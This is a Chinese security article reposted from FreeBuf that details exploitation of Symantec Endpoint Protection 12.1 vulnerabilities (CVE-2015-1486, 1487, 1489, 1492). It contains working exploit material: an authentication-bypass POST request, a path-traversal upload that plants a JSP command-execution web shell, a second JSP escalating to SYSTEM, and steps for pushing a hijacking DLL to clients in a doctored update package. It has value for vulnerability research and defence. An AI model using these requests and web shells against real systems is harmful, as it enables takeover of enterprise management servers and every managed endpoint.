1. 程式人生 > >利用賽門鐵克Symantec Endpoint Protection漏洞滲透企業網路

利用賽門鐵克Symantec Endpoint Protection漏洞滲透企業網路

文中提及的部分技術可能帶有一定攻擊性,僅供安全學習和教學用途,禁止非法使用。

1.引言

Markus Wulftange在7月30日報告了賽門鐵克端點保護Symantec Endpoint Protection (SEP)  12.1的數個高危漏洞。只有升級到12.1 RU6 MP1的版本不被影響。

簡單介紹一下,SEP 是一個企業版的防毒產品,分為管理端和客戶端。管理端是提供web UI,允許管理員管理和察看客戶端的狀態和客戶端的病毒感染事件等等。而客戶端基本上就是一個普通的賽門鐵克防毒軟體,但是接受管理端的管理並且定時上報自己的狀態。值得一提的是,管理員還可以在管理端部署安裝升級包,以便客戶端通過管理端來進行升級。

這種架構的問題是,一旦攻擊者拿下了管理端,得到了管理員的許可權,那麼他就可以重新部署安裝升級包,把木馬藏進安裝包,推送至客戶端執行,從而拿下整個企業網路。

本文重點介紹這幾個漏洞和利用方法:攻擊者最終可以在管理端和所有客戶端得到 'NT Authority\SYSTEM' 的許可權。 

2.攻擊SEP管理端

攻擊以SEP管理端的登陸頁面為突破口,因為登陸頁面是暴露在最外層的介面。

2.1 CVE-2015-1486: 繞過SEP管理端登陸認證

當用戶認證以後,setAdminCredential()把使用者資訊存在與當前session相關的AdminCredential物件中。而閱讀原始碼後發現,setAdminCredential()在兩個地方被呼叫,一個在LoginHandler類裡面,一個在ResetPasswordHandler類裡面。奇怪的是,setAdminCredential()為什麼會在ResetPasswordHandler類裡面被呼叫呢?看起來很可疑,這個值得我們研究一下。從名稱上看,ResetPasswordHandler類用來處理口令重置,其中handleRequest()方法的程式碼如下

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  72 */     this.requestData = requestData;
/*  73 */     String userName = (String)requestData.get("UserID");
/*  74 */     String domainName = (String)requestData.get("Domain");
/*     */
/*  76 */     NodeList list = doc.getElementsByTagName("Response");
/*  77 */     Element root = (Element)list.item(0);
/*     */     try
/*     */     {
/*  80 */       if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {
/*  81 */         throw new ServerException(-2130182144, 186);
/*     */       }
/*     */
/*  84 */       checkIfSiteCanRecoverPasswords();
/*  85 */       init();
/*     */
/*  87 */       if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {
/*  88 */         ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");
/*  89 */         throw new ServerException(-2130182144, 179);
/*     */       }
/*     */
/*  92 */       AdminCredential credential = getCredential(requestData, session);
/*     */
/*  94 */       if ((credential != null) && (credential.getAdminID() != null)) {
/*  95 */         Integer mode = credential.getOptAuthenticationMethod();
/*  96 */         if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {
/*  97 */           ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");
/*     */
/* 100 */           throw new ServerException(-2130182144, 191);
/*     */         }
/*     */
/*     */       }
/*     */
/* 106-137 skipped */
/*     */
/*     */     }
/*     */     catch (ServerException e) {
/* 142 */       root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));
/*     */     }
/*     */   }

92行呼叫了getCredential()方法,用以取出AdminCredential物件。AdminCredential物件包含使用者的資訊,比如使用者名稱,郵箱地址,口令hash值等等。以下是getCredential()的程式碼

/*     */   protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException
/*     */   {
/* 367 */     session = session.getNewSession();
/* 368 */     AdminCredential credential = doGetAdminCredentialWithoutAuthentication();
/* 369 */     session.setAdminCredential(credential);
/* 370 */     return credential;
/*     */   }

367行建立了一個新的session,也就產生了一個新的JsessionID cookie。有意思的是第368行,用doGetAdminCredentialWithoutAuthentication()無需任何認證就根據使用者輸入的使用者名稱和域名得到了一個AdminCredential物件。

最後,在369行,這個AdminCredential物件和新建立的session關聯起來。使得該session成為了一個擁有SEP管理員許可權的session.也就是說,發出一個口令重設請求,你就得到了一個擁有SEP管理員許可權的session.

發一個POST請求驗證一下

POST /servlet/ConsoleServlet HTTP/1.1
Host: 192.168.40.133:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
ActionType=ResetPassword&UserID=admin&Domain=

得到

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/xml;charset=UTF-8
Date: Tue, 30 Jun 2015 11:19:30 GMT
Server: SEPM
Content-Length: 971
 
<?xml version="1.0" encoding="UTF-8" standalone="no"?><ResponseResponseCode="-2130181964"><ReportingElement>&lt;?xml version="1.0" encoding="UTF-8" standalone="no"?&gt;&#13;
&lt;ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/&gt;&#13;
</ReportingElement></Response>

這個HTTP響應包含了一個JSESSIONID cookie,用於關聯新建立的管理員session。注意,雖然有管理員許可權,但是由於某些限制,這個session還是無法用於直接登陸管理端。然而測試發現攻擊者可以用這個session使用其他web API,比如,建立一個新的管理員賬號。從而攻擊者可以用這個新建立的賬號登陸管理端。而且這個session還可以繼續用於下一個漏洞。

2.2 CVE-2015-1487: 任意檔案寫入

UploadPackage允許管理員把客戶端的安裝包上傳到管理端,以便客戶端升級維護。 然而這裡有一個任意檔案寫入的漏洞,看原始碼

/*     */   public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)
/*     */   {
/*  54 */     NodeList list = doc.getElementsByTagName("Response");
/*  55 */     Element root = (Element)list.item(0);
/*  56 */     String action = (String)requestData.get("Action");
/*  57 */     String id = (String)requestData.get("GUID");
/*  58 */     String fileType = (String)requestData.get("FILE_TYPE");
/*  59 */     String newId = (String)requestData.get("NEW_GUID");
/*     */
/*  60-187 skipped */
/*     */
/* 189 */       if (action.equalsIgnoreCase("UploadPackage")) {
/* 190 */         String fileName = (String)requestData.get("PackageFile");
/* 191 */         String dirName = (String)requestData.get("KnownHosts");
/*     */        
/* 193 */         this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);
/*     */        
/*     */
/* 196 */         if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {
/* 197 */           this.packageTempPath = (this.packageTempPath + File.separator + dirName);
/*     */         }
/* 199 */         String path = this.packageTempPath + File.separator + fileName;
/* 200 */         FileOutputStream fos = null;
/* 201 */         BufferedOutputStream bos = null;
/* 202 */         Object is = null;
/* 203 */         BufferedInputStream bis = null;
/*     */        
/* 205 */         File folder = new File(this.packageTempPath);
/* 206 */         if (!folder.exists()) {
/* 207 */           if (!folder.mkdirs()) {
/* 208 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */           }
/*     */         }
/*     */         else {
/*     */           try
/*     */           {
/* 214 */             Utility.emptyDir(folder.getCanonicalPath(), false);
/*     */           } catch (IOException e) {
/* 216 */             ServerLogger.log(this, e);
/* 217 */             root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */            
/* 219 */             return;
/*     */           }
/*     */         }
/*     */        
/* 223 */         byte[] buf = new byte[1024];
/* 224 */         int read = 0;
/*     */         try
/*     */         {
/* 227 */           is = new BufferedInputStream(requestData.getInputStream());
/* 228 */           fos = new FileOutputStream(path);
/* 229 */           bos = new BufferedOutputStream(fos);
/* 230 */           bis = new BufferedInputStream((InputStream)is);
/* 231 */           while ((read = bis.read(buf)) > 0) {
/* 232 */             bos.write(buf, 0, read);
/*     */           }
/* 234 */           bos.flush();
/* 235 */           root.setAttribute("ResponseCode", String.valueOf(0));
/*     */         } catch (IOException ex) {
/* 237 */           ServerLogger.log(this, ex);
/* 238 */           root.setAttribute("ResponseCode", String.valueOf(303169573));
/*     */         }
/*     */         finally
/*     */         {
/* 242 */           IOUtilities.closeInputStream((InputStream)is);
/* 243 */           IOUtilities.closeInputStream(bis);
/* 244 */           IOUtilities.closeOutputStream(fos);
/* 245 */           IOUtilities.closeOutputStream(bos);
/*     */         }
/*     */        
/* 247-328 skipped */
/*     */        
/*     */       }
/*     */   }

注意189行到191行,上傳檔案時,檔名和檔案目標路徑分別取值於PackageFile和KnownHosts屬性。

196行,這裡有個檢查,目標路徑禁止包含'/' and ’\\’,可惜的是,檢查過以後,199行又把檔名和目標路徑組裝在了一起。那麼,如果我們把目標路徑寫在檔名裡面,就可以繞過檢查。

POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1
Host: 192.168.40.133:8443
Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40
Content-Length: 124
 
<%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A").next()%>

這樣,我們就可以得到一個 'NT Service\semsrv'的許可權的cmd.

2.3 CVE-2015-1489: SEP管理端主機提權

在SEP管理端, 有一個名為SemLaunchSvc.exe的服務。該服務有'NT Authority\SYSTEM'許可權,用來處理一些需要高許可權的操作,比如實時升級等。這個服務監聽本地8447埠與管理端程式通訊。而管理端用一個名為SemLaunchService的類來實現和SemLaunchSvc.exe通訊。該類支援CommonCMD,可以開啟一個cmd。

既然我們已經可以上傳並執行任意java程式碼,那麼我們可以進一步呼叫SemLaunchService中的CommonCMD, 從而得到管理端主機的 'NT Authority\SYSTEM' 許可權。

<%@pageimport="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%try{out.print(SemLaunchService.getInstance().execute("CommonCMD",Arrays.asList("/c", request.getParameter("cmd"))));}catch(Exception e){}
%>

3. 攻擊SEP客戶端

3.1 CVE-2015-1492:SEP 客戶端二進位制植入

一旦有了管理端的許可權,攻擊者就可以在管理端新增一個修改過的客戶端升級安裝包,然後通過管理端把偽裝的安裝包推送到客戶端上並執行。當然這裡還要用到一個DLL劫持漏洞。這個漏洞劫持或者替換正常的DLL,欺騙正常程式載入攻擊者預先準備好的惡意DLL。

安裝升級SEP客戶端的時候,SEP客戶端ccSvcHst.exe首先會開啟安裝包,在裡面找到一個名為smcinst.exe的程式,並且啟動之,而smcinst.exe會呼叫一些系統DLL, 比如說UxTheme.dll。這裡很可能smcinst.exe使用了相對路徑來調入DLL, 並且沒有檢查DLL的簽名。這樣攻擊者只要在安裝包里加入一個偽造的UxTheme.dll就可以啦!由於LoadLibrary的特性,同在安裝包下的這個偽造的UxTheme.dll會優先被調入。而一旦被調入,這個偽造的UxTheme.dll可以擁有NT Authority\SYSTEM許可權。

那怎麼把偽造的dll檔案加到安裝包裡面,並推送到客戶端呢?

1. 在SEP管理端匯出安裝包
2. 修改該安裝包的版本為更高版本,比如12.2.0000,把準備好的惡意UxTheme.dll檔案拷入安裝包
3. 在SEP管理端匯入安裝包並修改升級選項。
4. 總結

管理端的保護是眾中之重,一旦管理端被突破,客戶端則難保,從而整個企業網路淪陷。

* 原文地址:codewhitesecFreeBuf特約作者/ nickchang 投稿,轉載請註明來自FreeBuf黑客與極客(FreeBuf.COM)